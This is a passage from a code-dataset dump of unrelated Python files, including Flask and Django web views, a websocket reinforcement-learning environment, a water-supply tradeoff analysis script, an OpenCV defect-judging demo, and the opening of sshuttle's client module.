methods=['POST'])\n@require_admin\ndef add_product_variation(product_name):\n product = Product.query.filter_by(name=product_name).first_or_404()\n form = f.ProductVariationForm(MultiDict(request.get_json()))\n if form.validate():\n if form.variation_is_duplicate(product):\n return field_errors('variation_value', 'A similar record exists')\n variation = ProductVariation(product=product, **form.data)\n db.session.add(variation)\n db.session.commit()\n return http_201({**variation.to_json(), 'product_name': product.name})\n\n return form_errors(form)\n\n\n@catalogue_bp.route('/products/<product_name>/variations/<variation_id>', methods=['PUT'])\n@require_admin\ndef edit_variation(product_name, variation_id):\n product = Product.query.filter_by(name=product_name).first_or_404()\n variation = ProductVariation.query.filter_by(id=variation_id).first_or_404()\n if variation.product_id != product.id:\n return field_errors('variation_id', 'Product variation not associated with the given product')\n form = f.ProductVariationUpdateForm(MultiDict(request.get_json()))\n if form.validate():\n if form.variation_is_duplicate(product, variation):\n return field_errors('variation_value', 'A similar record exists')\n form.update_variation(variation)\n return http_201({**variation.to_json(), 'product_name': product.name})\n\n return form_errors(form)\n\n\n@catalogue_bp.route('/products/<product_name>/variations/<variation_id>', methods=['DELETE'])\n@require_admin\ndef delete_variation(product_name, variation_id):\n product = Product.query.filter_by(name=product_name).first_or_404()\n variation = product.variations.filter_by(id=variation_id).first_or_404()\n if variation.product_id != product.id:\n return field_errors('variation_id', 'Product variation not associated with the given product')\n db.session.delete(variation)\n db.session.commit()\n return http_201({'message': 'Variation deleted successfully'})\n","sub_path":"app/catalogue/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"52867925","text":"import threading\nfrom websocket_server import WebsocketServer \nimport json\nimport numpy as np\nimport time\n\nPORT=9001 \n\nclass WSS((threading.Thread)):\n def __init__(self):\n threading.Thread.__init__(self)\n server = WebsocketServer(PORT, \"0.0.0.0\")\n self.server = server\n server.set_fn_new_client(self.new_client)\n server.set_fn_client_left(self.client_left)\n server.set_fn_message_received(self.message_received)\n self.isStart = False #目前从简,客户端连入后就开始\n self.isRecvWaiting = False\n\n def run(self):\n self.server.run_forever()\n\n def sendMsg(self,msg):\n self.isRecvWaiting = True\n self.server.send_message_to_all(msg)\n\n # Called for every client connecting (after handshake) \n def new_client(self,client, server): \n print(\"New client connected and was given id %d\" % client['id'])\n # server.send_message_to_all(\"Hey all, a new client has joined us\")\n self.client = client #暂时不支持多连接,这里之后要加判断\n self.isStart = True #开始,院子操作,不加锁\n\n # Called for every client disconnecting\n def client_left(self,client, server):\n print(\"Client(%d) disconnected\" % client['id'])\n\n # Called when a client sends a message \n def message_received(self,client, server, message):\n self.recv = json.loads(message)\n self.isRecvWaiting = False\n \n\nclass Env:\n def __init__(self):\n self.actionSize = 5\n self.stateSize = 16\n self.wss = WSS()\n self.wss.start()\n while self.wss.isStart == False:\n time.sleep(0.001)\n #这里在初始化阶段就阻塞了,直至客户端接入\n \n def reset(self):\n self.wss.sendMsg(json.dumps({'act':'reset'}))\n while self.wss.isRecvWaiting == True:\n time.sleep(0.001)\n ob = np.array(self.wss.recv['ob'])\n return ob\n \n def step(self,action):\n self.wss.sendMsg(json.dumps({'act':\"step\",'action':int(action)}))\n while self.wss.isRecvWaiting == True:\n time.sleep(0.001)\n _ob = np.array(self.wss.recv['ob'])\n reward = self.wss.recv['reward']\n done = self.wss.recv['done']\n info = \"this is for gym\"\n return _ob,reward,done,info\n\n def getActions(self,ob):\n self.wss.sendMsg(json.dumps({'act':\"getActions\",'ob':ob}))\n while self.wss.isRecvWaiting == True:\n time.sleep(0.001)\n actions = np.array(self.wss.recv['actions'])\n return actions\n\n def check(self,qArray):\n self.wss.sendMsg(json.dumps({'act':\"check\",'ck':qArray}))\n while self.wss.isRecvWaiting == True:\n time.sleep(0.001)\n # 对方其实回消息了,但是这边不关注\n","sub_path":"Env.py","file_name":"Env.py","file_ext":"py","file_size_in_byte":3498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"68574320","text":"from django.http import HttpResponse, Http404\nfrom rest_framework import generics, status\nfrom rest_framework.generics import GenericAPIView\nfrom rest_framework.response import Response\n\nfrom .models import Invoices\nfrom .serializers import InvoicesSerializer, RegisterPaymentsSerializer\n\n\nclass InvoicesAPIView(generics.ListCreateAPIView):\n queryset = Invoices.objects.all().order_by('paid')\n serializer_class = InvoicesSerializer\n\n\ndef download_file(request):\n obj_id=request.GET['id']\n try:\n obj=Invoices.objects.get(id=obj_id)\n response = HttpResponse(obj.file, content_type='text/plain')\n response['Content-Disposition'] = 'attachment; filename=factura.csv'\n return response\n except:\n raise Http404(\"Invoice does not exist\")\n\nclass PaymentsAPIView(GenericAPIView):\n serializer_class = RegisterPaymentsSerializer\n\n def post(self, request, *args, **kwargs):\n serializer = RegisterPaymentsSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n data = {\n 'saved': True\n }\n\n return Response(data=data, status=status.HTTP_201_CREATED)\n\n","sub_path":"invoices/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"297730821","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt \r\nimport matplotlib.style as style\r\nfrom glob import glob\r\nimport seaborn as sns\r\nimport os\r\nimport time\r\nsns.set(style='whitegrid')\r\nstyle.use('bmh')\r\n\r\n# COMPARES REALIZATION-LEVEL RELIABILITY, ENVIRONMENTAL IMPACT, DROUGHT MITIGATION COSTS, INFRASTRUCTURE COSTS\r\n# FIRST THREE \"OBJECTIVES\" CALCULATED FROM OUTPUTS, INFRA COSTS FROM REPORTS\r\n# D Gorelick (Aug 2019)\r\n\r\nos.chdir('C:\\\\Users\\\\dgorelic\\\\OneDrive - University of North Carolina at Chapel Hill\\\\UNC\\\\Research\\\\TBW\\\\Code\\\\Visualization')\r\nfrom analysis_functions import read_AMPL_log, read_AMPL_out\r\n\r\n# set parent directory\r\nos.chdir('C:/Users/dgorelic/Desktop/TBWruns')\r\n#os.chdir('C:/Users/dgorelic/OneDrive - University of North Carolina at Chapel Hill/UNC/Research/TBW/Data')\r\n\r\n# 0079 is base run, plan Z2\r\n# 0080 is a slight change on base run, plan A2\r\n# 0082 is concept 1\r\n# 0087 is concept 6A\r\n# 0102 is plan X4\r\n# 0103 is plan X5\r\n\r\n# calculate objective statistics for each realization for each run\r\n# each simulation takes about 23 min\r\nsimulations = ['0079','0080','0082','0087','0102','0103']\r\n#simulations = ['0079','0080','0082','0087']\r\n\r\nVariable_Names = ['Simulation', 'SimOrder', 'Realization', \r\n 'Level of Service (CWUP only)', 'Level of Service (all GW)', \r\n 'Level of Service (SW only)', 'Level of Service (all)',\r\n 'Environmental Burden (target offset)', \r\n 'Average SCH Production (MGD)', 'Average SCH Node 1 Demand (MGD)', 'Average SCH Node 2 Demand (MGD)',\r\n '95th Percentile SCH Production', '95th Percentile SCH Node 1 Demand', '95th Percentile SCH Node 2 Demand',\r\n 'Unmanageable Events (15+ day events)', 'Annual Failures (365+ day events)',\r\n 'Unmanageable Duration 95th Percentile (days)', \r\n 'Unmanageable Severity 95th Percentile (total MG deficit)',\r\n 'Capital Costs ($MM)']\r\ncollected_data = np.zeros([len(simulations)*334,len(Variable_Names)]); i = 0; j = 0\r\nfor run in simulations:\r\n t = time.time()\r\n print(\"Running simulation \", run)\r\n # create a list of all realization file names in this working directory\r\n csv_files = glob('cleaned_' + run + \"/*.csv\")\r\n log_files = glob('cleaned_' + run + \"/ampl_*.log\")\r\n out_files = glob('cleaned_' + run + \"/ampl_*.out\")\r\n for r in range(len(csv_files)):\r\n #for r in range(20):\r\n print(\"Realization \", r)\r\n ### read in realization data\r\n log_out = read_AMPL_log(log_files[r])\r\n csv_out = pd.read_csv(csv_files[r])\r\n out_out = read_AMPL_out(out_files[r])\r\n \r\n ### calculate reliability based on slack picked up at Alafia, TBC\r\n # as well as BUD, CWUP, SCH wells \r\n # FOR WHICH VIOLATIONS OF PERMITS ARE TRACKED CUMULATIVELY AS\r\n # THE OVERAGE TERM IN THE OUT FILE\r\n # if the variable wup_mavg_pos__CWUP exists, then according to TBW demands can be met with satisfaction\r\n CWUP_Violations = 0\r\n if max(csv_out.columns.str.find('wup_mavg_pos__CWUP')) != -1: # if variable is tracked...\r\n CWUP_Violations = sum(csv_out['wup_mavg_pos__CWUP'].dropna() > 0)\r\n \r\n # track all violations? this should be the 1/0 version of gw_overage\r\n Total_GW_Violations = 0\r\n for gw in ['wup_mavg_pos__BUD','wup_mavg_pos__CWUP','wup_mavg_pos__SCH']:\r\n if max(csv_out.columns.str.find(gw)) != -1: # if variable is tracked...\r\n Total_GW_Violations += sum(csv_out[gw].dropna() > 0)\r\n \r\n # what about surface water slack?\r\n Total_SW_Violations = 0\r\n for sw in ['ngw_slack__Alafia','ngw_slack__TBC']:\r\n if max(csv_out.columns.str.find(sw)) != -1: # if variable is tracked...\r\n Total_SW_Violations += sum(csv_out[sw].dropna() > 0) # daily violations\r\n \r\n # convert metrics into fraction of time violations occur\r\n LOS_CWUP = CWUP_Violations / 7304 # divide by number of simulated days\r\n LOS_GW = Total_GW_Violations / 7304 # divide by number of simulated days\r\n LOS_SW = Total_SW_Violations / 7304 # divide by number of simulated days\r\n \r\n # what about days with any violation? \r\n # also record magnitude of events for later\r\n Total_GW_Violations = np.zeros((7304)); Total_SW_Violations = np.zeros((7304))\r\n Mag_GW_Violations = np.zeros((7304)); Mag_SW_Violations = np.zeros((7304))\r\n for gw in ['wup_mavg_pos__BUD','wup_mavg_pos__CWUP','wup_mavg_pos__SCH']:\r\n if max(csv_out.columns.str.find(gw)) != -1: # if variable is tracked...\r\n which_NaN = np.isnan(csv_out[gw]); csv_out[gw][which_NaN] = 0\r\n Total_GW_Violations = [Total_GW_Violations[a] + (csv_out[gw][a] > 0) for a in range(len(csv_out[gw]))]\r\n Mag_GW_Violations = [Mag_GW_Violations[a] + csv_out[gw][a] for a in range(len(csv_out[gw]))]\r\n \r\n for sw in ['ngw_slack__Alafia','ngw_slack__TBC']:\r\n if max(csv_out.columns.str.find(sw)) != -1: # if variable is tracked...\r\n which_NaN = np.isnan(csv_out[sw]); csv_out[sw][which_NaN] = 0\r\n Total_SW_Violations = [Total_SW_Violations[a] + (csv_out[sw][a] > 0) for a in range(len(csv_out[sw]))]\r\n Mag_SW_Violations = [Mag_SW_Violations[a] + csv_out[sw][a] for a in range(len(csv_out[sw]))]\r\n \r\n Total_Violations = [Total_SW_Violations[a] + Total_GW_Violations[a] for a in range(len(Total_SW_Violations))]\r\n LOS_All = 0\r\n for a in range(len(Total_Violations)): \r\n if Total_Violations[a] > 0: LOS_All += 1\r\n LOS_All = LOS_All / 7304\r\n \r\n Violation_Magnitude = [Mag_SW_Violations[a] + Mag_GW_Violations[a] for a in range(len(Total_SW_Violations))]\r\n \r\n ### calculate environmental impact based on groundwater overuse\r\n Offset = log_out.tg_offset # future: break this down by well \r\n SCH_WF_Production = np.mean(csv_out['wf_prod__SCH']) # offset data not clearly available for SCH wells?\r\n SCH_1_Demand = np.mean(csv_out['demand__SCH_1']) # keep a variety of SCH data in place of offset values\r\n SCH_2_Demand = np.mean(csv_out['demand__SCH_2'])\r\n \r\n SCH_WF_Production_95th = np.quantile(csv_out['wf_prod__SCH'], 0.95) # offset data not clearly available for SCH wells?\r\n SCH_1_Demand_95th = np.quantile(csv_out['demand__SCH_1'], 0.95) # keep a variety of SCH data in place of offset values\r\n SCH_2_Demand_95th = np.quantile(csv_out['demand__SCH_2'], 0.95)\r\n \r\n # assume the greatest burden is related to the worst 30-day period (month)\r\n # so taking the maximum of the moving monthly average for the timeseries\r\n Environmental_Burden = max(np.convolve(Offset, np.ones((30,))/30, mode='valid'))\r\n \r\n ### calculate cost of drought mitigation based on unmet demands \r\n # compared to actual demands (this is biased because the optimization)\r\n # already slacks to avoid any prolonged failure to meet demand\r\n # calculate demand deficit (daily demands don't match supply)\r\n # supply can come from groundwater, desalination, ...\r\n # ... alafia river pump station, tampa bypass canal pump station, or c.w. bill young reservoir\r\n # dont forget to include new sources...\r\n# New_Supply = np.zeros((7304))\r\n# for source in ['ngw_supply__ResWTP','ngw_supply__SHARP','ngw_supply__none']:\r\n# if max(csv_out.columns.str.find(source)) != -1: # if variable is tracked...\r\n# New_Source = csv_out[source]\r\n# where_NaNs = np.isnan(New_Source) # correct for missing vals\r\n# New_Source[where_NaNs] = 0\r\n#\r\n# New_Supply = [New_Supply[a] + New_Source[a] for a in range(len(New_Source))]\r\n\r\n # total of all supply (gw + desal treated water + flow from alafia + flow from tbc + flow to/from reservoir + new supply)\r\n # versus total non-CoT demand total\r\n # negative value to Deficit means daily demand was not completely met\r\n \r\n # HEADS UP: THIS IS WRONG - THEY USE THE SLACK VIOLATIONS TO DETERMINE WHAT EVENTS ARE UNMANAGEABLE...\r\n # DOES THE SLACK VIOLATION ID METHOD MISS VIOLATIONS IN NEW SUPPLY SOURCES?\r\n# Deficit = out_out['GW'] + csv_out['wtp_eff__DS'] + csv_out['pflow__ARPS'] + \\\r\n# csv_out['pflow__TBPS'] + csv_out['pflow__CWBY'] + New_Supply - \\\r\n# (csv_out['total_demand__none'] - csv_out['pflow__J_COT'])\r\n \r\n # determine periods of unmet demand\r\n failureconditions = 0; counter = 0; largefailure = 0\r\n length_of_fail = []; magnitude_of_fail = []; magnitude_count = 0\r\n\r\n for k in range(len(Total_Violations)):\r\n # keep track of consecutive days of unmet demand\r\n if Total_Violations[k] > 0: \r\n magnitude_count += Violation_Magnitude[k] # \"add\" all days of event deficit\r\n counter += 1\r\n else:\r\n if counter > 14: # how bad was the event?\r\n length_of_fail.append(counter)\r\n magnitude_of_fail.append(magnitude_count)\r\n counter = 0\r\n magnitude_count = 0 # reset\r\n \r\n # if failure occurs long enough to be an issue for reliability\r\n # treat each event the same: a 15-day unmanageable event\r\n # counted the same as a 100-day one... \r\n if counter == 15: failureconditions += 1\r\n if counter == 365: largefailure += 1\r\n \r\n # use the number of 2+ week-long periods where demands cannot be met\r\n # as a proxy for the need for short-term mitigation\r\n Unmanageable_Event_Count = failureconditions\r\n Annual_Failures = largefailure\r\n Unmanageable_Severity_95th = 0\r\n Unmanageable_Duration_95th = 0\r\n if len(length_of_fail) > 0:\r\n Unmanageable_Duration_95th = np.quantile(length_of_fail, 0.95)\r\n Unmanageable_Severity_95th = np.quantile(magnitude_of_fail, 0.95)\r\n \r\n ### assign the cost of infrastructure for each realization based on \r\n # screening from reports on life cycle cost\r\n # and capital costs ONLY pulled from reports (in millions)\r\n SWTP_Expansion_Cost = 2 + 12.5 + 6.5 + 10 + 3 + 3.75 + 7.5 # LTMWP p.458\r\n Desal_Expansion_Cost = 5.9 + 68.25 + 6.06 + 30.6 + 6.18 + 5.7 + 2.5\r\n SHARP_Cost = 2.6 + 1.125 + 2.1 + 2.2 + 0.8 + 0.78 + 9.375 + 1.5 + \\\r\n 2.5 + 1.32 + 8.286 + 0.314 + 0.133 + 0.26 + 1.5 + 2.2625 + \\\r\n 2.1 + 2.2 # p.466\r\n Reclaimed_AWTP_Cost = 4.063 + 6.25 + 7.813 + 10.469 + 1.813 + 4.688 + \\\r\n 3.907 + 3.125 + 1.875 + 2.344 + 4.688 + 0.28 + \\\r\n 0.22 + 0.4 + 2.25 + 3.2 # p.478\r\n \r\n if run == '0079': # baseline status quo infrastructure and operations (SWTP 90 MGD)\r\n lcc = 0\r\n elif run == '0080': # expand desal to 30 MGD, run full out always, otherwise follow baseline\r\n lcc = Desal_Expansion_Cost\r\n elif run == '0082': # increased SWTP capacity to 110 MGD, operate desal at 20 MGD (config 1)\r\n lcc = SWTP_Expansion_Cost\r\n elif run == '0087': # SHARP GW at 7.5 MGD, additional reclaimed water capacity at SWTP of 12.5 MGD (config 6A)\r\n lcc = SHARP_Cost + Reclaimed_AWTP_Cost\r\n elif run == '0102': # added second SWTP at surface water reservoir (12.5 MGD)\r\n lcc = Reclaimed_AWTP_Cost # NOT SURE THIS IS THE RIGHT PROJECT\r\n elif run == '0103': # new 12.5 MGD SWTP at reservoir + 7.5 MGD SHARP\r\n lcc = SHARP_Cost + Reclaimed_AWTP_Cost\r\n \r\n Additional_Capital_Costs = lcc\r\n \r\n # collect data for plotting after the loop\r\n collected_data[i,:] = [run, j, r, \r\n 1-LOS_CWUP, 1-LOS_GW, 1-LOS_SW, 1-LOS_All,\r\n Environmental_Burden, \r\n SCH_WF_Production, SCH_1_Demand, SCH_2_Demand,\r\n SCH_WF_Production_95th, SCH_1_Demand_95th, SCH_2_Demand_95th,\r\n Unmanageable_Event_Count, Annual_Failures,\r\n Unmanageable_Duration_95th, Unmanageable_Severity_95th,\r\n Additional_Capital_Costs]\r\n i += 1\r\n \r\n j += 1\r\n print(\"Simulation \", run, \" is complete after \", (time.time() - t)/60, \" minutes\")\r\n\r\n# final data output\r\nall_out = pd.DataFrame(collected_data)\r\nall_out.columns = Variable_Names \r\n \r\npd.DataFrame.to_csv(all_out,'tradeoff_plot_statistics.csv')\r\n\r\n# plot some of the data\r\nmarkers = ['.','^','s','p','*','+']\r\ntemp_list = [int(x) for x in all_out['SimOrder']]\r\nmarker_vector = [markers[i] for i in temp_list]\r\nptsize = 8\r\n\r\nfor i in [0,1,2,3,4,5]:\r\n plot_out = all_out[all_out['SimOrder'] == i]\r\n \r\n fig, ((ax1, ax2), (ax3, ax4)) = plt.subplots(2, 2, figsize = (12,12))\r\n \r\n scatter_plot = ax1.scatter(plot_out['Unmanageable Events (15+ day events)'], \r\n plot_out['Environmental Burden (target offset)'], \r\n c = plot_out['Level of Service (CWUP only)'], s = ptsize, cmap=\"jet\")\r\n ax1.set_ylabel('Environmental Burden (target offset)')\r\n ax1.set_xlabel('Unmanageable Events (15+ day events)')\r\n #ax1.colorbar(label = 'Unmanageable Events (15+ day events)')\r\n ax1.set_xlim([-5, 110])\r\n ax1.set_ylim([100, 375])\r\n \r\n scatter_plot = ax4.scatter(plot_out['Level of Service (CWUP only)'], \r\n plot_out['Level of Service (all)'], \r\n c = plot_out['Level of Service (CWUP only)'], s = ptsize, cmap=\"jet\")\r\n ax4.set_ylabel('Level of Service (all)')\r\n ax4.set_xlabel('Level of Service (CWUP only)')\r\n #ax2.colorbar(label = 'Level of Service (SW only)')\r\n ax4.set_xlim([0.85, 1.01])\r\n ax4.set_ylim([0.58, 1.01])\r\n \r\n scatter_plot = ax3.scatter(plot_out['Unmanageable Events (15+ day events)'], \r\n plot_out['Average SCH Node 2 Demand (MGD)'], \r\n c = plot_out['Level of Service (CWUP only)'], s = ptsize, cmap=\"jet\")\r\n ax3.set_ylabel('Average SCH Node 2 Demand (MGD)')\r\n ax3.set_xlabel('Unmanageable Events (15+ day events)')\r\n #ax3.colorbar(label = 'Unmanageable Event 95th Percentile Severity (MG deficit per day)')\r\n ax3.set_xlim([-5, 110])\r\n #ax3.set_ylim([-2, 11])\r\n \r\n scatter_plot = ax2.scatter(plot_out['Level of Service (CWUP only)'], \r\n plot_out['Environmental Burden (target offset)'], \r\n c = plot_out['Level of Service (CWUP only)'], s = ptsize, cmap=\"jet\")\r\n ax2.set_ylabel('Environmental Burden (target offset)')\r\n ax2.set_xlabel('Level of Service (CWUP only)')\r\n #ax4.colorbar(label = 'Unmanageable Event 95th Percentile Severity (MG deficit per day)')\r\n ax2.set_xlim([0.85, 1.01])\r\n ax2.set_ylim([100, 375])\r\n \r\n #ax4.legend(all_out['SimOrder'], loc = 'upper left')\r\n \r\n fig.subplots_adjust(wspace = 0.25, hspace = 0.3) \r\n fig.savefig('tradeoff_plots' + simulations[i] + '.png', bbox_inches='tight', format='png') \r\n\r\n # \r\n plot_out = all_out[all_out['SimOrder'] <= i]\r\n \r\n fig, ((ax1, ax2), (ax3, ax4)) = plt.subplots(2, 2, figsize = (12,12))\r\n \r\n scatter_plot = ax1.scatter(plot_out['Unmanageable Events (15+ day events)'], \r\n plot_out['Environmental Burden (target offset)'], \r\n c = plot_out['Capital Costs ($MM)'], s = ptsize, cmap=\"jet\")\r\n ax1.set_ylabel('Environmental Burden (target offset)')\r\n ax1.set_xlabel('Unmanageable Events (15+ day events)')\r\n #ax1.colorbar(label = 'Unmanageable Events (15+ day events)')\r\n ax1.set_xlim([-5, 110])\r\n ax1.set_ylim([100, 375])\r\n \r\n scatter_plot = ax4.scatter(plot_out['Level of Service (CWUP only)'], \r\n plot_out['Level of Service (all)'], \r\n c = plot_out['Capital Costs ($MM)'], s = ptsize, cmap=\"jet\")\r\n ax4.set_ylabel('Level of Service (all)')\r\n ax4.set_xlabel('Level of Service (CWUP only)')\r\n #ax2.colorbar(label = 'Level of Service (SW only)')\r\n ax4.set_xlim([0.85, 1.01])\r\n ax4.set_ylim([0.58, 1.01])\r\n \r\n scatter_plot = ax3.scatter(plot_out['Unmanageable Events (15+ day events)'], \r\n plot_out['Average SCH Node 2 Demand (MGD)'], \r\n c = plot_out['Capital Costs ($MM)'], s = ptsize, cmap=\"jet\")\r\n ax3.set_ylabel('Average SCH Node 2 Demand (MGD)')\r\n ax3.set_xlabel('Unmanageable Events (15+ day events)')\r\n #ax3.colorbar(label = 'Unmanageable Event 95th Percentile Severity (MG deficit per day)')\r\n ax3.set_xlim([-5, 110])\r\n #ax3.set_ylim([-2, 11])\r\n \r\n scatter_plot = ax2.scatter(plot_out['Level of Service (CWUP only)'], \r\n plot_out['Environmental Burden (target offset)'], \r\n c = plot_out['Capital Costs ($MM)'], s = ptsize, cmap=\"jet\")\r\n ax2.set_ylabel('Environmental Burden (target offset)')\r\n ax2.set_xlabel('Level of Service (CWUP only)')\r\n #ax4.colorbar(label = 'Unmanageable Event 95th Percentile Severity (MG deficit per day)')\r\n ax2.set_xlim([0.85, 1.01])\r\n ax2.set_ylim([100, 375])\r\n \r\n #ax4.legend(all_out['SimOrder'], loc = 'upper left')\r\n \r\n fig.subplots_adjust(wspace = 0.25, hspace = 0.3) \r\n fig.savefig('tradeoff_plots_stacked' + simulations[i] + '.png', bbox_inches='tight', format='png') \r\n #fig.savefig('tradeoff_plots_all' + '.png', bbox_inches='tight', format='png') \r\n \r\n \r\n \r\n \r\n \r\n ","sub_path":"exploratory_modeling/plot_tradeoffs_multidimensional.py","file_name":"plot_tradeoffs_multidimensional.py","file_ext":"py","file_size_in_byte":18070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"498640767","text":"import cx_Oracle\r\nimport py07_database.oracle_config as cfg\r\n\r\n# 1) DB 서버 연결\r\nconn = cx_Oracle.connect(cfg.user, cfg.pwd, cfg.dsn)\r\n\r\n# 2) cursor 객체 생성 <- SQL 문장 실행, 결과 처리\r\ncursor = conn.cursor()\r\n\r\n# SQL 문장 실행\r\nsql_select = 'select * from emp2'\r\ncursor.execute(sql_select)\r\n\r\n# 결과 처리: for x in cursor 구문을 사용하면, fetchone() 함수가 자동 호출됨.\r\nfor row in cursor:\r\n print(row)\r\n\r\n# cursor 객체 닫기\r\ncursor.close()\r\n\r\n# 연결 끊기\r\nconn.close()\r\n","sub_path":"lab-python/py07_database/oracle03.py","file_name":"oracle03.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"282789509","text":"from PIL import Image, ImageDraw\nimport urllib.request\nimport json\nfrom draw.config import Config\nfrom draw.draw_utils import *\nfrom draw.ref_utilities import ref_scale\n\n\nclass DrawMap:\n def __init__(self):\n self.im = Image.open(Config.Paths.image_original)\n self.im_acc = self.im.copy()\n Config.Variables.width, Config.Variables.height = self.im.size\n\n self.draw = ImageDraw.Draw(self.im)\n self.draw_acc = ImageDraw.Draw(self.im_acc)\n\n self.import_data()\n self.draw_data()\n self.save_results()\n\n def import_data(self):\n content = urllib.request.urlopen(Config.Urls.get_coords()).read()\n self.item_list = json.loads(content)\n\n def draw_data(self):\n w, h = self.im.size\n\n for item in self.item_list:\n x0, y0 = ref_scale(item['lon'], item['lat'])\n acc = item['acc']\n if(acc < Config.acc_max):\n draw_point(self.draw, x0, y0, size=6)\n draw_point(self.draw_acc, x0, y0, size=acc)\n\n def save_results(self):\n self.im.save(Config.Paths.get_image_result(), 'JPEG')\n self.im_acc.save(Config.Paths.get_image_result(acc='_acc'), 'JPEG')","sub_path":"draw/draw_map.py","file_name":"draw_map.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"577868407","text":"import numpy as np\nimport cv2\nimport time\nimport subprocess\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras.models import model_from_yaml\nfrom skimage.feature import canny\nimport sys\nimport os\n\ndef load_images(dirname):\n imlist =[]\n for fname in os.listdir(dirname):\n im = np.array(cv2.imread(dirname+fname))\n im = im[10:-10, 90:-90]\n im = (im - np.average(im))/np.std(im)\n im_canny = np.resize(canny(im_gray), (im.shape[0], im.shape[1], 1))\n im = np.concatenate((im, im_canny), axis=2)\n imlist.append(im)\n\n imlist = np.array(imlist)\n return imlist\n\n\nmodel = model_from_yaml(open(\"model/sd_judge.yaml\").read())\nmodel.load_weights( \"model/sd_judge_weight.h5\")\n\n\nCROP_W, CROP_H = 150,200\n\ncap = cv2.VideoCapture(0)\n\nret, frame = cap.read()\nprint(frame.shape)\n\nimlist = load_images(\"data/sd_judge/\")\nx_test = np.concatenate([imlist],axis=0)\ny_pred = np.round(model.predict(x_test, batch_size = 48, verbose=1))\n\nskip = 0\n\nwhile(True):\n skip -= 1\n ret, frame = cap.read()\n if skip > 0:\n continue\n W, H, _ = frame.shape\n frame_gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n mask = cv2.inRange(frame, (0,0,0), (200,200,200))\n frame_canny = cv2.Canny(mask, threshold1=150, threshold2=300)\n\n # crop RoI\n roi = frame_canny[CROP_H:-CROP_H, CROP_W:-CROP_W]\n\n num_white = cv2.countNonZero(roi)\n is_exist = True if num_white > 600 else False\n\n if is_exist:\n # find moments\n print(num_white)\n mu = cv2.moments(roi, False)\n x, y = int(mu[\"m10\"]/mu[\"m00\"])+CROP_W, int(mu[\"m01\"]/mu[\"m00\"])+CROP_H\n # frame = cv2.circle(frame, (x, y), 20, (0, 0, 255), -1)\n\n output_image = np.zeros((W*2, H*2, 3))\n output_image[:W, :H] = frame/255\n output_image[W:, :H] = np.stack((mask, mask, mask), axis=-1)\n output_image[:W, H:] = np.stack((frame_canny, frame_canny, frame_canny), axis=-1)\n output_image[W+CROP_H:-CROP_H, H+CROP_W:-CROP_W] = np.stack((roi, roi, roi), axis=-1)\n\n cv2.imshow('demo', output_image)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n if is_exist:\n# subprocess.call([\"python3\", \"_pick_place.py\"])\n# now = time.time()\n\n cv2.imwrite('data/test/' + \"1\" + '.png',frame)\n# subprocess.call([\"python3\", \"JUDGE.py\"\n\n imlist_test = load_images(\"data/test/\")\n x_test = np.concatenate([imlist_test],axis=0)\n# 0はOK、1はNG\n y_test = np.array([0])\n\n #OK:0,NG:1を返す\n y_pred = np.round(model.predict(x_test, batch_size = 48, verbose=1))\n y_pred = y_pred.flatten()\n skip = 10\n\n if y_pred[0] == 1:\n print('NG!アーム動かします!')\n subprocess.call([\"python3\", \"_pick_place.py\"])\n if y_pred[0] == 0:\n print('OK!アーム動かしません!')\n# print('now capture', now)\n\n\ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"_demo.py","file_name":"_demo.py","file_ext":"py","file_size_in_byte":2995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"121256995","text":"# 客户端程序\n\nimport errno\nimport re\nimport signal\nimport time\nimport subprocess as ssubprocess\nimport os\nimport sys\nimport platform\n\nimport sshuttle.helpers as helpers\nimport sshuttle.ssnet as ssnet\nimport sshuttle.ssh as ssh\nimport sshuttle.ssyslog as ssyslog\nfrom sshuttle.ssnet import SockWrapper, Handler, Proxy, Mux, MuxWrapper\nfrom sshuttle.helpers import log, debug1, debug2, debug3, Fatal, islocal, \\\n resolvconf_nameservers\nfrom sshuttle.methods import get_method, Features\ntry:\n from pwd import getpwnam\nexcept ImportError:\n getpwnam = None\n\ntry:\n # try getting recvmsg from python\n import socket as pythonsocket\n getattr(pythonsocket.socket, \"recvmsg\")\n socket = pythonsocket\nexcept AttributeError:\n # try getting recvmsg from socket_ext library\n try:\n import socket_ext\n getattr(socket_ext.socket, \"recvmsg\")\n socket = socket_ext\n except ImportError:\n import socket\n\n_extra_fd = os.open(os.devnull, os.O_RDONLY)\n\n\ndef got_signal(signum, frame):\n log('exiting on signal %d\\n' % signum)\n sys.exit(1)\n\n\n_pidname = None\n\n\ndef check_daemon(pidfile):\n global _pidname\n _pidname = os.path.abspath(pidfile)\n try:\n oldpid = open(_pidname).read(1024)\n except IOError as e:\n if e.errno == errno.ENOENT:\n return # no pidfile, ok\n else:\n raise Fatal(\"can't read %s: %s\" % (_pidname, e))\n if not oldpid:\n os.unlink(_pidname)\n return # invalid pidfile, ok\n oldpid = int(oldpid.strip() or 0)\n if oldpid <= 0:\n os.unlink(_pidname)\n return # invalid pidfile, ok\n try:\n os.kill(oldpid, 0)\n except OSError as e:\n if e.errno == errno.ESRCH:\n os.unlink(_pidname)\n return # outdated pidfile, ok\n elif e.errno == errno.EPERM:\n pass\n else:\n raise\n raise Fatal(\"%s: sshuttle is already running (pid=%d)\"\n % (_pidname, oldpid))\n\n\ndef daemonize():\n if os.fork():\n os._exit(0)\n os.setsid()\n 